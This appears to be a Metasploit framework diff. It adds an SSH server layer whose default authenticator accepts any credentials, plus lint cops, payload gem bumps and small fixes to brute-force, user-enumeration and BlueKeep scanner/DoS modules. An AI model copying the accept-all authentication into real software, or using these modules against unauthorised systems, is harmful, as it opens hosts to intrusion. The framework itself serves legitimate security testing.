def permit?(host, port, bind = false)
|
||||
@acl and ["#{host}:#{port}", "*:*", "#{host}:*", "*:#{port}"].any? do |m|
|
||||
@acl[ bind ? :bind : :connect ].include?(m)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# Encapsulation of Connection constructor for Rex use
|
||||
# Provides ACLs for port forwarding and client (io) access hooks
|
||||
##
|
||||
class Connection < ::HrrRbSsh::Connection
|
||||
include AccessControlList
|
||||
def self.default_options
|
||||
noneauth = HrrRbSsh::Authentication::Authenticator.new { |context| true }
|
||||
return {
|
||||
'authentication_none_authenticator' => noneauth,
|
||||
'authentication_password_authenticator' => noneauth,
|
||||
'authentication_publickey_authenticator' => noneauth,
|
||||
'authentication_keyboard_interactive_authenticator' => noneauth,
|
||||
'local_version' => 'SSH-2.0-RexProtoSsh'
|
||||
}
|
||||
end
|
||||
#
|
||||
# Create new Connection from an IO and options set, pull trans
|
||||
# and auth from options if present, create from options set otherwise.
|
||||
#
|
||||
# Creates a default empty handler set for channel requests.
|
||||
#
|
||||
# @param io [IO] Socket, FD, or abstraction on which to build Connection
|
||||
# @param options [Hash] Options for constructing Connection components
|
||||
#
|
||||
# @return [Rex::Proto::Ssh::Connection] a new connection object
|
||||
def initialize(io = nil, options = self.default_options, context = {})
|
||||
@context = context
|
||||
@logger = Logger.new self.class.name
|
||||
@server = options.delete(:ssh_server)
|
||||
# Take a pre-built transport from the options or build one on the fly
|
||||
@transport = options.delete(:ssh_transport) || HrrRbSsh::Transport.new(
|
||||
io,
|
||||
options.delete(:ssh_mode) || :server,
|
||||
options
|
||||
)
|
||||
# Take a pre-built authentication from the options or build one on the fly
|
||||
@authentication = options.delete(:ssh_authentication) ||
|
||||
HrrRbSsh::Authentication.new(@transport, options)
|
||||
@global_request_handler = GlobalRequestHandler.new(self)
|
||||
# Retain remaining options for later use
|
||||
@options = options
|
||||
|
||||
@channels = Hash.new
|
||||
@username = nil
|
||||
@closed = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Provide keys of explicitly not closed channels
|
||||
#
|
||||
# @param ctype [String] Channel type to select, nil for all
|
||||
#
|
||||
# @return [Array] Array of integers indexing open channels
|
||||
def open_channel_keys(ctype = 'session')
|
||||
channels.keys.sort.select do |cn|
|
||||
channels[cn].closed? === false and (
|
||||
ctype.nil? or channels[cn].channel_type == ctype
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Provide IO from which to read remote-end inputs
|
||||
#
|
||||
# @param fd [Integer] Desired descriptor from which to read
|
||||
# @param cn [Integer] Desired channel from which to take fd
|
||||
#
|
||||
# @return [IO] File descriptor for reading
|
||||
def reader(fd = 0, cn = open_channel_keys.first)
|
||||
channels[cn].io[fd]
|
||||
end
|
||||
|
||||
#
|
||||
# Provide IO into which writes to the remote end can be sent
|
||||
#
|
||||
# @param fd [Integer] Desired descriptor to which to write
|
||||
# @param cn [Integer] Desired channel from which to take fd
|
||||
#
|
||||
# @return [IO] File descriptor for writing
|
||||
def writer(fd = 1, cn = open_channel_keys.first)
|
||||
channels[cn].io[fd]
|
||||
end
|
||||
|
||||
#
|
||||
# Close the connection and underlying socket
|
||||
#
|
||||
def close
|
||||
super
|
||||
@transport.io.close if @transport and !@transport.io.closed?
|
||||
end
|
||||
|
||||
attr_accessor :transport, :authentication, :channels, :global_request_handler
|
||||
attr_reader :server, :context
|
||||
end
|
||||
|
||||
##
|
||||
# Create a monitored relay between channel IOs and external FD-like objects
|
||||
##
|
||||
class ChannelRelay
|
||||
include Rex::IO::SocketAbstraction
|
||||
|
||||
def initialize(src, dst, threadname = "SshChannelMonitorRemote")
|
||||
initialize_abstraction(src, dst)
|
||||
end
|
||||
|
||||
def initialize_abstraction(src, dst, threadname)
|
||||
self.rsock = src
|
||||
self.lsock = dst
|
||||
monitor_rsock(threadname)
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# A modified Rex::IO::Stream for separate file descriptors
|
||||
# consumers are responsible for relevant initialization and
|
||||
# fd_rd+fd_wr methods to expose selectable R/W IOs.
|
||||
##
|
||||
module IOMergeAbstraction
|
||||
def inspect
|
||||
"#{self.class}(#{fd_rd.inspect}|#{fd_wr.inspect})"
|
||||
end
|
||||
|
||||
def write(buf, opts = {})
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
block_size = 32768
|
||||
|
||||
begin
|
||||
while( total_sent < total_length )
|
||||
s = Rex::ThreadSafe.select( nil, [ fd_wr ], nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
data = buf[total_sent, block_size]
|
||||
sent = fd_wr.write_nonblock( data )
|
||||
if sent > 0
|
||||
total_sent += sent
|
||||
end
|
||||
end
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a half a second, or until we can write again
|
||||
Rex::ThreadSafe.select( nil, [ fd_wr ], nil, 0.5 )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
block_size = 1024
|
||||
# Try to write the data again
|
||||
retry
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
end
|
||||
|
||||
total_sent
|
||||
end
|
||||
|
||||
#
|
||||
# This method reads data of the supplied length from the stream.
|
||||
#
|
||||
def read(length = nil, opts = {})
|
||||
|
||||
begin
|
||||
return fd_rd.read_nonblock( length )
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a half a second, or until we can read again
|
||||
Rex::ThreadSafe.select( [ fd_rd ], nil, nil, 0.5 )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
retry
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Polls the stream to see if there is any read data available. Returns
|
||||
# true if data is available for reading, otherwise false is returned.
|
||||
#
|
||||
def has_read_data?(timeout = nil)
|
||||
|
||||
# Allow a timeout of "0" that waits almost indefinitely for input, this
|
||||
# mimics the behavior of Rex::ThreadSafe.select() and fixes some corner
|
||||
# cases of unintentional no-wait timeouts.
|
||||
timeout = 3600 if (timeout and timeout == 0)
|
||||
|
||||
begin
|
||||
if ((rv = ::IO.select([ fd_rd ], nil, nil, timeout)) and
|
||||
(rv[0]) and
|
||||
(rv[0][0] == fd_rd))
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
rescue ::Errno::EBADF, ::Errno::ENOTSOCK
|
||||
raise ::EOFError
|
||||
rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE
|
||||
# Return false if the socket is dead
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def close
|
||||
fd_rd.close if (fd_rd and !fd_rd.closed?)
|
||||
fd_wr.close if (fd_wr and !fd_wr.closed?)
|
||||
end
|
||||
|
||||
def closed?
|
||||
(fd_rd.nil? or fd_rd.closed?) and (fd_wr.nil? or fd_wr.closed?)
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# Emulate a single bidirectional IO using the clients Connections Channels IOs
|
||||
##
|
||||
class ChannelFD
|
||||
include Rex::IO::Stream
|
||||
include IOMergeAbstraction
|
||||
def initialize(parent, chan_id = nil)
|
||||
@parent = parent
|
||||
end
|
||||
|
||||
def inspect
|
||||
"#{super}/#{@parent.inspect}"
|
||||
end
|
||||
|
||||
def close
|
||||
super
|
||||
@parent.close unless @parent.closed?
|
||||
end
|
||||
|
||||
def closed?
|
||||
super and @parent.closed?
|
||||
end
|
||||
|
||||
def cid
|
||||
if @cid.nil?
|
||||
@cid = @parent.connection.open_channel_keys.first
|
||||
end
|
||||
@cid
|
||||
end
|
||||
|
||||
def cid=(chan_id)
|
||||
if @parent.connection.open_channel_keys.include?(chan_id)
|
||||
@cid = chan_id
|
||||
else
|
||||
raise "Invalid Channel ID passed to #{self.inspect}"
|
||||
end
|
||||
end
|
||||
attr_reader :parent
|
||||
|
||||
# private
|
||||
|
||||
#
|
||||
# Provide a selectable filedescriptor open for reading
|
||||
#
|
||||
# @return [IO] Descriptor for reading
|
||||
def fd_rd
|
||||
begin
|
||||
channel.io[0]
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Provide a selectable filedescriptor open for writing
|
||||
#
|
||||
# @param fd [Symbol] Output FD type, anything but :stderr uses 1 (STDOUT)
|
||||
#
|
||||
# @return [IO] Descriptor for writing
|
||||
def fd_wr(fd = :stdout)
|
||||
begin
|
||||
channel.io[(fd == :stderr ? 2 : 1)]
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Expose a Channel from the Connection
|
||||
#
|
||||
# @return [HrrRbSsh::Connection::Channel] Channel object
|
||||
def channel
|
||||
@parent.connection.channels[cid]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,72 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'hrr_rb_ssh'
|
||||
|
||||
###
|
||||
#
|
||||
# Rex::Socket overrides for ::HrrRbSsh' use of stdlib sockets
|
||||
#
|
||||
###
|
||||
module HrrRbSsh
|
||||
class Connection
|
||||
|
||||
class GlobalRequestHandler
|
||||
def tcpip_forward(message)
|
||||
if @connection.permit?(message[:'address to bind'], message[:'port number to bind'], true)
|
||||
@logger.info { "starting tcpip-forward" }
|
||||
begin
|
||||
address_to_bind = message[:'address to bind']
|
||||
port_number_to_bind = message[:'port number to bind']
|
||||
id = "#{address_to_bind}:#{port_number_to_bind}"
|
||||
server = Rex::Socket::TcpServer.create(
|
||||
'LocalHost' => address_to_bind,
|
||||
'LocalPort' => port_number_to_bind,
|
||||
'Context' => @connection.options['Context'],
|
||||
'Proxies' => @connection.options['Proxies']
|
||||
)
|
||||
@tcpip_forward_servers[id] = server
|
||||
@tcpip_forward_threads[id] = Thread.new(server){ |server|
|
||||
begin
|
||||
loop do
|
||||
Thread.new(server.accept){ |s|
|
||||
@connection.channel_open_start address_to_bind, port_number_to_bind, s
|
||||
}
|
||||
end
|
||||
rescue => e
|
||||
@logger.error { [e.backtrace[0], ": ", e.message, " (", e.class.to_s, ")\n\t", e.backtrace[1..-1].join("\n\t")].join }
|
||||
end
|
||||
}
|
||||
@logger.info { "tcpip-forward started" }
|
||||
rescue => e
|
||||
@logger.warn { "starting tcpip-forward failed: #{e.message}" }
|
||||
raise e
|
||||
end
|
||||
else
|
||||
# raise Errno::EACCES
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Channel
|
||||
class ChannelType
|
||||
class DirectTcpip
|
||||
def start
|
||||
if @connection.permit?(@host_to_connect, @port_to_connect)
|
||||
@socket = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => @host_to_connect,
|
||||
'PeerPort' => @port_to_connect,
|
||||
'Context' => @connection.options['Context'],
|
||||
'Proxies' => @connection.options['Proxies']
|
||||
)
|
||||
@sender_thread = sender_thread
|
||||
@receiver_thread = receiver_thread
|
||||
else
|
||||
# raise Errno::EACCES
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,201 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/proto/ssh/connection'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Ssh
|
||||
###
|
||||
#
|
||||
# Runtime extension of the SSH clients that connect to the server.
|
||||
#
|
||||
###
|
||||
|
||||
module ServerClient
|
||||
#
|
||||
# Initialize a new connection instance.
|
||||
#
|
||||
def init_cli(server, do_not_start = false)
|
||||
@server = server
|
||||
@connection = Rex::Proto::Ssh::Connection.new(
|
||||
self, server.server_options.merge(ssh_server: server), server.context
|
||||
)
|
||||
@connection_thread = Rex::ThreadFactory.spawn("SshConnectionMonitor-#{self}", false) {
|
||||
self.connection.start
|
||||
} unless do_not_start
|
||||
end
|
||||
|
||||
def close
|
||||
@connection_thread.kill if @connection_thread and @connection_thread.alive?
|
||||
super
|
||||
end
|
||||
|
||||
attr_reader :connection, :server
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Acts as an SSH server, accepting clients and extending them with Connections
|
||||
#
|
||||
###
|
||||
class Server
|
||||
|
||||
include Proto
|
||||
#
|
||||
# Initializes an SSH server as listening on the provided port and
|
||||
# hostname.
|
||||
#
|
||||
def initialize(port = 22, listen_host = '0.0.0.0', context = {}, comm = nil,
|
||||
ssh_opts = Ssh::Connection.default_options, cc_cb = nil, cd_cb = nil)
|
||||
|
||||
self.listen_host = listen_host
|
||||
self.listen_port = port
|
||||
self.context = context
|
||||
self.comm = comm
|
||||
self.listener = nil
|
||||
self.server_options = ssh_opts
|
||||
self.on_client_connect_proc = cc_cb
|
||||
self.on_client_data_proc = cd_cb
|
||||
end
|
||||
|
||||
# More readable inspect that only shows the url and resources
|
||||
# @return [String]
|
||||
def inspect
|
||||
"#<#{self.class} ssh://#{listen_host}:#{listen_port}>"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the hardcore alias for the SSH service
|
||||
#
|
||||
def self.hardcore_alias(*args)
|
||||
"#{(args[0])}#{(args[1])}"
|
||||
end
|
||||
|
||||
#
|
||||
# SSH server.
|
||||
#
|
||||
def alias
|
||||
super || "SSH Server"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Listens on the defined port and host and starts monitoring for clients.
|
||||
#
|
||||
def start(srvsock = nil)
|
||||
|
||||
self.listener = srvsock.is_a?(Rex::Socket::TcpServer) ? srvsock : Rex::Socket::TcpServer.create(
|
||||
'LocalHost' => self.listen_host,
|
||||
'LocalPort' => self.listen_port,
|
||||
'Context' => self.context,
|
||||
'Comm' => self.comm
|
||||
)
|
||||
|
||||
# Register callbacks
|
||||
self.listener.on_client_connect_proc = Proc.new { |cli|
|
||||
on_client_connect(cli)
|
||||
}
|
||||
# self.listener.on_client_data_proc = Proc.new { |cli|
|
||||
# on_client_data(cli)
|
||||
# }
|
||||
self.clients = []
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn("SshServerClientMonitor", false) {
|
||||
monitor_clients
|
||||
}
|
||||
self.listener.start
|
||||
end
|
||||
|
||||
#
|
||||
# Terminates the monitor thread and turns off the listener.
|
||||
#
|
||||
def stop
|
||||
self.listener.stop
|
||||
self.listener.close
|
||||
self.clients = []
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Waits for the SSH service to terminate
|
||||
#
|
||||
def wait
|
||||
self.listener.wait if self.listener
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the supplied client, if valid.
|
||||
#
|
||||
def close_client(cli)
|
||||
clients.delete(cli)
|
||||
listener.close_client(cli.parent)
|
||||
end
|
||||
|
||||
|
||||
attr_accessor :listen_port, :listen_host, :context, :comm, :clients, :monitor_thread
|
||||
attr_accessor :listener, :server_options, :on_client_connect_proc, :on_client_data_proc
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Extends new clients with the ServerClient module and initializes them.
|
||||
#
|
||||
def on_client_connect(cli)
|
||||
cli.extend(ServerClient)
|
||||
|
||||
cli.init_cli(self)
|
||||
if self.on_client_connect_proc
|
||||
self.on_client_connect_proc.call(cli)
|
||||
else
|
||||
enqueue_client(cli)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Watches FD channel abstractions, removes closed instances,
|
||||
# checks for read data on clients if client data callback is defined,
|
||||
# invokes the callback if possible, sleeps otherwise.
|
||||
#
|
||||
def monitor_clients
|
||||
loop do
|
||||
self.clients.delete_if {|c| c.closed? }
|
||||
if self.on_client_data_proc
|
||||
if clients.any? { |cli|
|
||||
cli.has_read_data? and self.on_client_data_proc.call(cli)}
|
||||
next
|
||||
else
|
||||
sleep 0.05
|
||||
end
|
||||
else
|
||||
sleep 0.5
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
wlog(e)
|
||||
end
|
||||
|
||||
#
|
||||
# Waits for SSH client to "grow a pair" of FDs and adds
|
||||
# a ChannelFD object derived from the client's Connection
|
||||
# Channel's FDs to the Ssh::Server's clients array
|
||||
#
|
||||
# @param cli [Rex::Proto::Ssh::ServerClient] SSH client
|
||||
#
|
||||
def enqueue_client(cli)
|
||||
Rex::ThreadFactory.spawn("ChannelFDWaiter", false) do
|
||||
begin
|
||||
Timeout::timeout(15) do
|
||||
while cli.connection.open_channel_keys.empty? do
|
||||
sleep 0.02
|
||||
end
|
||||
self.clients.push(Ssh::ChannelFD.new(cli))
|
||||
end
|
||||
rescue Timeout::Error
|
||||
elog("Unable to find channel FDs for client #{cli}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -128,7 +128,7 @@ class LocalRelay
|
||||
end
|
||||
end
|
||||
|
||||
def shudown
|
||||
def shutdown
|
||||
# don't need to do anything here, it's only "close" we care about
|
||||
end
|
||||
|
||||
@@ -238,6 +238,7 @@ class LocalRelay
|
||||
self.relays[name] = relay
|
||||
self.rev_chans << channel
|
||||
}
|
||||
relay
|
||||
end
|
||||
|
||||
#
|
||||
@@ -260,10 +261,12 @@ class LocalRelay
|
||||
'LocalHost' => opts['LocalHost'],
|
||||
'LocalPort' => lport)
|
||||
|
||||
_, lhost, lport = listener.getlocalname()
|
||||
opts['LocalHost'] = lhost
|
||||
opts['LocalPort'] = lport
|
||||
opts['__RelayType'] = 'tcp'
|
||||
|
||||
start_relay(listener, lport.to_s + (opts['LocalHost'] || '0.0.0.0'), opts)
|
||||
start_relay(listener, lport.to_s + opts['LocalHost'], opts)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -284,6 +287,7 @@ class LocalRelay
|
||||
|
||||
self.rfds << stream_server
|
||||
}
|
||||
relay
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
module RuboCop
|
||||
module Cop
|
||||
module Layout
|
||||
class ModuleDescriptionIndentation < Cop
|
||||
include Alignment
|
||||
|
||||
MSG = "Module descriptions should be properly aligned to the 'Description' key, and within %q{ ... }"
|
||||
|
||||
def_node_matcher :find_update_info_node, <<~PATTERN
|
||||
(def :initialize _args (begin (super $(send nil? {:update_info :merge_info} (lvar :info) (hash ...))) ...))
|
||||
PATTERN
|
||||
|
||||
def_node_matcher :find_nested_update_info_node, <<~PATTERN
|
||||
(def :initialize _args (super $(send nil? {:update_info :merge_info} (lvar :info) (hash ...)) ...))
|
||||
PATTERN
|
||||
|
||||
def on_def(node)
|
||||
update_info_node = find_update_info_node(node) || find_nested_update_info_node(node)
|
||||
return if update_info_node.nil?
|
||||
|
||||
hash = update_info_node.arguments.find { |argument| hash_arg?(argument) }
|
||||
hash.each_pair do |key, value|
|
||||
if key.value == "Description"
|
||||
if requires_correction?(key, value)
|
||||
add_offense(value, location: :end)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def autocorrect(description_value)
|
||||
lambda do |corrector|
|
||||
description_key = description_value.parent.key
|
||||
new_content = indent_description_value_correctly(description_key, description_value)
|
||||
|
||||
corrector.replace(description_value.source_range, new_content)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def requires_correction?(description_key, description_value)
|
||||
return false if description_value.single_line?
|
||||
|
||||
current_content = description_value.source
|
||||
expected_content = indent_description_value_correctly(description_key, description_value)
|
||||
expected_content != current_content
|
||||
end
|
||||
|
||||
def indent_description_value_correctly(description_key, description_value)
|
||||
content_whitespace = indentation(description_key)
|
||||
final_line_whitespace = offset(description_key)
|
||||
|
||||
description_content = description_value.source.lines[1...-1]
|
||||
indented_description = description_content.map do |line|
|
||||
cleaned_content = line.strip
|
||||
if cleaned_content.empty?
|
||||
"\n"
|
||||
else
|
||||
"#{content_whitespace}#{cleaned_content}\n"
|
||||
end
|
||||
end.join
|
||||
|
||||
new_literal = "%q{\n"
|
||||
new_literal <<= indented_description
|
||||
new_literal <<= final_line_whitespace
|
||||
new_literal <<= '}'
|
||||
|
||||
new_literal
|
||||
end
|
||||
|
||||
def hash_arg?(node)
|
||||
node.type == :hash
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,87 @@
|
||||
module RuboCop
|
||||
module Cop
|
||||
module Layout
|
||||
class ModuleHashOnNewLine < Cop
|
||||
include Alignment
|
||||
|
||||
MSG = "%<name>s should start on its own line"
|
||||
MISSING_NEW_LINE_MSG = "A new line is missing"
|
||||
|
||||
def_node_matcher :find_update_info_node, <<~PATTERN
|
||||
(def :initialize _args (begin (super $(send nil? {:update_info :merge_info} (lvar :info) (hash ...))) ...))
|
||||
PATTERN
|
||||
|
||||
def_node_matcher :find_nested_update_info_node, <<~PATTERN
|
||||
(def :initialize _args (super $(send nil? {:update_info :merge_info} (lvar :info) (hash ...)) ...))
|
||||
PATTERN
|
||||
|
||||
def on_def(node)
|
||||
update_info_node = find_update_info_node(node) || find_nested_update_info_node(node)
|
||||
return if update_info_node.nil?
|
||||
|
||||
unless begins_its_line?(update_info_node.source_range)
|
||||
add_offense(update_info_node, location: :begin)
|
||||
end
|
||||
|
||||
# Ensure every argument to update_info is on its own line, i.e. info and the hash arguments
|
||||
update_info_node.arguments.each do |argument|
|
||||
unless begins_its_line?(argument.source_range)
|
||||
add_offense(argument)
|
||||
end
|
||||
end
|
||||
|
||||
if missing_new_line_after_parenthesis?(update_info_node)
|
||||
add_offense(update_info_node, location: :end, message: MISSING_NEW_LINE_MSG)
|
||||
end
|
||||
end
|
||||
|
||||
def autocorrect(node)
|
||||
lambda do |corrector|
|
||||
if merge_function?(node) && missing_new_line_after_parenthesis?(node)
|
||||
# Ensure there's always a new line after `update_info(...)` to avoid `))` at the end of the `super(update_info` call
|
||||
corrector.replace(node.source_range.end, "\n#{offset(node.parent)}")
|
||||
else
|
||||
# Force a new line, and indent to the parent node. Other Layout rules will correct the positioning.
|
||||
corrector.replace(node.source_range, "\n#{indentation(node.parent)}#{node.source}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def message(node)
|
||||
if update_info?(node)
|
||||
format(MSG, name: :update_info)
|
||||
elsif merge_info?(node)
|
||||
format(MSG, name: :merge_info)
|
||||
elsif info_arg?(node)
|
||||
format(MSG, name: :info)
|
||||
else
|
||||
format(MSG, name: :argument)
|
||||
end
|
||||
end
|
||||
|
||||
def merge_function?(node)
|
||||
update_info?(node) || merge_info?(node)
|
||||
end
|
||||
|
||||
def update_info?(node)
|
||||
node.type == :send && node.method_name == :update_info
|
||||
end
|
||||
|
||||
def merge_info?(node)
|
||||
node.type == :send && node.method_name == :merge_info
|
||||
end
|
||||
|
||||
def info_arg?(node)
|
||||
node.type == :lvar && node.children[0] == :info
|
||||
end
|
||||
|
||||
def missing_new_line_after_parenthesis?(update_info_node)
|
||||
super_call = update_info_node.parent
|
||||
super_call.source.end_with? '))'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 2.0.4'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.84'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.86'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.16'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.19'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
@@ -198,6 +198,8 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'faker'
|
||||
# Pinned as a dependency of i18n to the last working version
|
||||
spec.add_runtime_dependency 'concurrent-ruby','1.0.5'
|
||||
# SSH server library
|
||||
spec.add_runtime_dependency 'hrr_rb_ssh', '0.3.0.pre2'
|
||||
|
||||
# AWS enumeration modules
|
||||
spec.add_runtime_dependency 'aws-sdk-s3'
|
||||
|
||||
@@ -74,9 +74,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
checkcode = check
|
||||
|
||||
unless checkcode == Exploit::CheckCode::Appears || datastore['ForceExploit']
|
||||
print_error("#{checkcode[1]}. Set ForceExploit to override.")
|
||||
return
|
||||
unless datastore['ForceExploit']
|
||||
unless checkcode == Exploit::CheckCode::Appears
|
||||
print_error("#{checkcode[1]}. Set ForceExploit to override.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
case action.name
|
||||
|
||||
@@ -34,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://jedicorp.com/?p=534' ]
|
||||
[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
|
||||
@@ -81,7 +81,7 @@ def run(args)
|
||||
break
|
||||
sockets.each &:close
|
||||
rescue Errno::EMFILE
|
||||
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned
|
||||
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned
|
||||
warned = true
|
||||
sockets.slice(0).close
|
||||
rescue Exception => e
|
||||
|
||||
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
It should be noted this module will register activity on ifconfig.me,
|
||||
which is not affiliated with Metasploit.
|
||||
},
|
||||
'Author' => ['RageLtMan'],
|
||||
'Author' => ['RageLtMan <rageltman[at]sempervictus>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
||||
@@ -253,7 +253,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
headers['Cookie'] = 'PBack=0;' << res.get_cookies
|
||||
else
|
||||
# Login didn't work. no point in going on, however, check if valid domain account by response time.
|
||||
if elapsed_time <= 1
|
||||
if elapsed_time && elapsed_time <= 1
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
@@ -301,7 +301,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if res.redirect?
|
||||
if elapsed_time <= 1
|
||||
if elapsed_time && elapsed_time <= 1
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
@@ -329,7 +329,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
if elapsed_time <= 1
|
||||
if elapsed_time && elapsed_time <= 1
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
|
||||
@@ -17,6 +17,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
This module attempts to authenticate against an Oracle RDBMS
|
||||
instance using username and password combinations indicated
|
||||
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
|
||||
|
||||
Due to a bug in nmap versions 6.50-7.80 may not work.
|
||||
},
|
||||
'Author' => [
|
||||
'Patrik Karlsson <patrik[at]cqure.net>', # the nmap NSE script, oracle-brute.nse
|
||||
|
||||
@@ -9,50 +9,53 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
|
||||
'Description' => %q{
|
||||
This module checks a range of hosts for the CVE-2019-0708 vulnerability
|
||||
by binding the MS_T120 channel outside of its normal slot and sending
|
||||
non-DoS packets which respond differently on patched and vulnerable hosts.
|
||||
It can optionally trigger the DoS vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'National Cyber Security Centre', # Discovery
|
||||
'JaGoTu', # Module
|
||||
'zerosum0x0', # Module
|
||||
'Tom Sellers' # TLS support, packet documenentation, DoS implementation
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
|
||||
'Description' => %q{
|
||||
This module checks a range of hosts for the CVE-2019-0708 vulnerability
|
||||
by binding the MS_T120 channel outside of its normal slot and sending
|
||||
non-DoS packets which respond differently on patched and vulnerable hosts.
|
||||
It can optionally trigger the DoS vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'National Cyber Security Centre', # Discovery
|
||||
'JaGoTu', # Module
|
||||
'zerosum0x0', # Module
|
||||
'Tom Sellers' # TLS support, packet documenentation, DoS implementation
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-0708' ],
|
||||
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
|
||||
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2019-05-14',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['Scan', 'Description' => 'Scan for exploitable targets'],
|
||||
['Crash', 'Description' => 'Trigger denial of service vulnerability'],
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-0708' ],
|
||||
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
|
||||
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2019-05-14',
|
||||
'License' => MSF_LICENSE,
|
||||
"Actions" => [
|
